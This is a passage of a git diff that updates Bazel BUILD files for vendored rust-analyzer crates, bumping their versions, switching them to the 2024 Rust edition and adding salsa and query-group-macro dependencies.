misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel index cdef8ca0b9a..dcdff444d8f 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.97.0.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra-ap-rustc_pattern_analysis-0.100.0.bazel @@ -17,7 +17,7 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra-ap-rustc_index-0.97.0//:ra_ap_rustc_index": "rustc_index", + "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index": "rustc_index", }, compile_data = glob( include = ["**"], @@ -82,9 +82,9 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.97.0", + version = "0.100.0", deps = [ - "@vendor_ts__ra-ap-rustc_index-0.97.0//:ra_ap_rustc_index", + "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat", "@vendor_ts__smallvec-1.14.0//:smallvec", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.270.bazel similarity index 78% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.270.bazel index 70595c88a11..6e8ab6e20b3 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_base_db-0.0.270.bazel @@ -17,12 +17,13 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg": "cfg", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs": "vfs", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs": "vfs", }, compile_data = glob( include = ["**"], @@ -37,7 +38,10 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", + proc_macro_deps = [ + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro", + ], rustc_flags = [ "--cap-lints=allow", ], @@ -87,18 +91,19 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ + "@vendor_ts__dashmap-5.5.3//:dashmap", "@vendor_ts__la-arena-0.3.1//:la_arena", "@vendor_ts__lz4_flex-0.11.3//:lz4_flex", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_salsa-0.0.266//:ra_salsa", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", - "@vendor_ts__ra_ap_vfs-0.0.266//:ra_ap_vfs", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_vfs-0.0.270//:ra_ap_vfs", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", + "@vendor_ts__salsa-0.19.0//:salsa", "@vendor_ts__semver-1.0.24//:semver", "@vendor_ts__tracing-0.1.41//:tracing", "@vendor_ts__triomphe-0.1.14//:triomphe", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.270.bazel similarity index 93% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.270.bazel index e58f52a7129..c38cc3cdd88 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_cfg-0.0.270.bazel @@ -17,8 +17,8 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", }, compile_data = glob( include = ["**"], @@ -36,7 +36,7 @@ rust_library( "tt", ], crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -86,10 +86,10 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__tracing-0.1.41//:tracing", ], diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.270.bazel similarity index 98% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.270.bazel index 2c7410fd47f..598826ee263 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_edition-0.0.270.bazel @@ -29,7 +29,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -79,5 +79,5 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", ) diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.270.bazel similarity index 75% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.270.bazel index 5a688858e7f..c85c4bbf946 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.270.bazel @@ -17,16 +17,16 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db": "base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg": "cfg", - "@vendor_ts__ra_ap_hir_def-0.0.266//:ra_ap_hir_def": "hir_def", - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand": "hir_expand", - "@vendor_ts__ra_ap_hir_ty-0.0.266//:ra_ap_hir_ty": "hir_ty", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg", + "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def": "hir_def", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand", + "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty": "hir_ty", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", }, compile_data = glob( include = ["**"], @@ -41,7 +41,7 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", rustc_flags = [ "--cap-lints=allow", ], @@ -91,22 +91,22 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__arrayvec-0.7.6//:arrayvec", - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__either-1.15.0//:either", "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__itertools-0.12.1//:itertools", - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg", - "@vendor_ts__ra_ap_hir_def-0.0.266//:ra_ap_hir_def", - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand", - "@vendor_ts__ra_ap_hir_ty-0.0.266//:ra_ap_hir_ty", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg", + "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand", + "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__smallvec-1.14.0//:smallvec", "@vendor_ts__tracing-0.1.41//:tracing", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.270.bazel similarity index 73% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.270.bazel index a8280467c4d..f0e8fd28561 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.270.bazel @@ -17,15 +17,16 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db": "base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg": "cfg", - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand": "hir_expand", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_mbe-0.0.266//:ra_ap_mbe": "mbe", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe": "mbe", + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", }, compile_data = glob( include = ["**"], @@ -40,7 +41,10 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", + proc_macro_deps = [ + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro", + ], rustc_flags = [ "--cap-lints=allow", ], @@ -90,33 +94,34 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__arrayvec-0.7.6//:arrayvec", "@vendor_ts__bitflags-2.8.0//:bitflags", "@vendor_ts__cov-mark-2.0.0//:cov_mark", "@vendor_ts__dashmap-5.5.3//:dashmap", "@vendor_ts__drop_bomb-0.1.5//:drop_bomb", - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__either-1.15.0//:either", "@vendor_ts__fst-0.4.7//:fst", "@vendor_ts__hashbrown-0.14.5//:hashbrown", "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__itertools-0.12.1//:itertools", "@vendor_ts__la-arena-0.3.1//:la_arena", - "@vendor_ts__ra-ap-rustc_abi-0.97.0//:ra_ap_rustc_abi", - "@vendor_ts__ra-ap-rustc_hashes-0.97.0//:ra_ap_rustc_hashes", - "@vendor_ts__ra-ap-rustc_parse_format-0.97.0//:ra_ap_rustc_parse_format", - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg", - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_mbe-0.0.266//:ra_ap_mbe", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", + "@vendor_ts__ra-ap-rustc_abi-0.100.0//:ra_ap_rustc_abi", + "@vendor_ts__ra-ap-rustc_hashes-0.100.0//:ra_ap_rustc_hashes", + "@vendor_ts__ra-ap-rustc_parse_format-0.100.0//:ra_ap_rustc_parse_format", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat", + "@vendor_ts__salsa-0.19.0//:salsa", "@vendor_ts__smallvec-1.14.0//:smallvec", "@vendor_ts__text-size-1.1.1//:text_size", "@vendor_ts__tracing-0.1.41//:tracing", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.270.bazel similarity index 72% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.270.bazel index 8c89fecda8d..716d660159f 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.270.bazel @@ -17,16 +17,17 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db": "base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg": "cfg", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_mbe-0.0.266//:ra_ap_mbe": "mbe", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser": "parser", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", - "@vendor_ts__ra_ap_syntax-bridge-0.0.266//:ra_ap_syntax_bridge": "syntax_bridge", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt": "tt", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe": "mbe", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser": "parser", + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge": "syntax_bridge", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt", }, compile_data = glob( include = ["**"], @@ -41,7 +42,10 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", + proc_macro_deps = [ + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro", + ], rustc_flags = [ "--cap-lints=allow", ], @@ -91,24 +95,25 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__cov-mark-2.0.0//:cov_mark", - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__either-1.15.0//:either", "@vendor_ts__hashbrown-0.14.5//:hashbrown", "@vendor_ts__itertools-0.12.1//:itertools", "@vendor_ts__la-arena-0.3.1//:la_arena", - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", - "@vendor_ts__ra_ap_cfg-0.0.266//:ra_ap_cfg", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_mbe-0.0.266//:ra_ap_mbe", - "@vendor_ts__ra_ap_parser-0.0.266//:ra_ap_parser", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", - "@vendor_ts__ra_ap_syntax-bridge-0.0.266//:ra_ap_syntax_bridge", - "@vendor_ts__ra_ap_tt-0.0.266//:ra_ap_tt", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", + "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe", + "@vendor_ts__ra_ap_parser-0.0.270//:ra_ap_parser", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", + "@vendor_ts__ra_ap_syntax-bridge-0.0.270//:ra_ap_syntax_bridge", + "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", + "@vendor_ts__salsa-0.19.0//:salsa", "@vendor_ts__smallvec-1.14.0//:smallvec", "@vendor_ts__tracing-0.1.41//:tracing", "@vendor_ts__triomphe-0.1.14//:triomphe", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.270.bazel similarity index 72% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.270.bazel index 9770a5812cf..6e1e0740c96 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_ty-0.0.270.bazel @@ -17,13 +17,14 @@ rust_library( allow_empty = True, ), aliases = { - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db": "base_db", - "@vendor_ts__ra_ap_hir_def-0.0.266//:ra_ap_hir_def": "hir_def", - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand": "hir_expand", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern": "intern", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span": "span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx": "stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax": "syntax", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db", + "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def": "hir_def", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern", + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax", }, compile_data = glob( include = ["**"], @@ -38,9 +39,10 @@ rust_library( ], ), crate_root = "src/lib.rs", - edition = "2021", + edition = "2024", proc_macro_deps = [ - "@vendor_ts__chalk-derive-0.99.0//:chalk_derive", + "@vendor_ts__chalk-derive-0.100.0//:chalk_derive", + "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro", ], rustc_flags = [ "--cap-lints=allow", @@ -91,34 +93,35 @@ rust_library( "@rules_rust//rust/platform:x86_64-unknown-uefi": [], "//conditions:default": ["@platforms//:incompatible"], }), - version = "0.0.266", + version = "0.0.270", deps = [ "@vendor_ts__arrayvec-0.7.6//:arrayvec", "@vendor_ts__bitflags-2.8.0//:bitflags", - "@vendor_ts__chalk-ir-0.99.0//:chalk_ir", - "@vendor_ts__chalk-recursive-0.99.0//:chalk_recursive", - "@vendor_ts__chalk-solve-0.99.0//:chalk_solve", + "@vendor_ts__chalk-ir-0.100.0//:chalk_ir", + "@vendor_ts__chalk-recursive-0.100.0//:chalk_recursive", + "@vendor_ts__chalk-solve-0.100.0//:chalk_solve", "@vendor_ts__cov-mark-2.0.0//:cov_mark", - "@vendor_ts__either-1.14.0//:either", + "@vendor_ts__dashmap-5.5.3//:dashmap", + "@vendor_ts__either-1.15.0//:either", "@vendor_ts__ena-0.14.3//:ena", "@vendor_ts__indexmap-2.7.0//:indexmap", "@vendor_ts__itertools-0.12.1//:itertools", "@vendor_ts__la-arena-0.3.1//:la_arena", "@vendor_ts__nohash-hasher-0.2.0//:nohash_hasher", "@vendor_ts__oorandom-11.1.4//:oorandom", - "@vendor_ts__ra-ap-rustc_abi-0.97.0//:ra_ap_rustc_abi", - "@vendor_ts__ra-ap-rustc_hashes-0.97.0//:ra_ap_rustc_hashes", - "@vendor_ts__ra-ap-rustc_index-0.97.0//:ra_ap_rustc_index", - "@vendor_ts__ra-ap-rustc_pattern_analysis-0.97.0//:ra_ap_rustc_pattern_analysis", - "@vendor_ts__ra_ap_base_db-0.0.266//:ra_ap_base_db", - "@vendor_ts__ra_ap_hir_def-0.0.266//:ra_ap_hir_def", - "@vendor_ts__ra_ap_hir_expand-0.0.266//:ra_ap_hir_expand", - "@vendor_ts__ra_ap_intern-0.0.266//:ra_ap_intern", - "@vendor_ts__ra_ap_span-0.0.266//:ra_ap_span", - "@vendor_ts__ra_ap_stdx-0.0.266//:ra_ap_stdx", - "@vendor_ts__ra_ap_syntax-0.0.266//:ra_ap_syntax", + "@vendor_ts__ra-ap-rustc_abi-0.100.0//:ra_ap_rustc_abi", + "@vendor_ts__ra-ap-rustc_index-0.100.0//:ra_ap_rustc_index", + "@vendor_ts__ra-ap-rustc_pattern_analysis-0.100.0//:ra_ap_rustc_pattern_analysis", + "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db", + "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def", + "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand", + "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern", + "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span", + "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx", + "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax", "@vendor_ts__rustc-hash-2.1.1//:rustc_hash", "@vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat", + "@vendor_ts__salsa-0.19.0//:salsa", "@vendor_ts__scoped-tls-1.0.1//:scoped_tls", "@vendor_ts__smallvec-1.14.0//:smallvec", "@vendor_ts__tracing-0.1.41//:tracing", diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.266.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.270.bazel similarity index 76% rename from misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.266.bazel rename to misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.270.bazel index 3b6ecbc023c..0c437699408 100644 --- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.266.bazel +++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_ide_db-0.0.270.bazel @@ -17,13 +17,15 @@ rust_library( allow_empty = 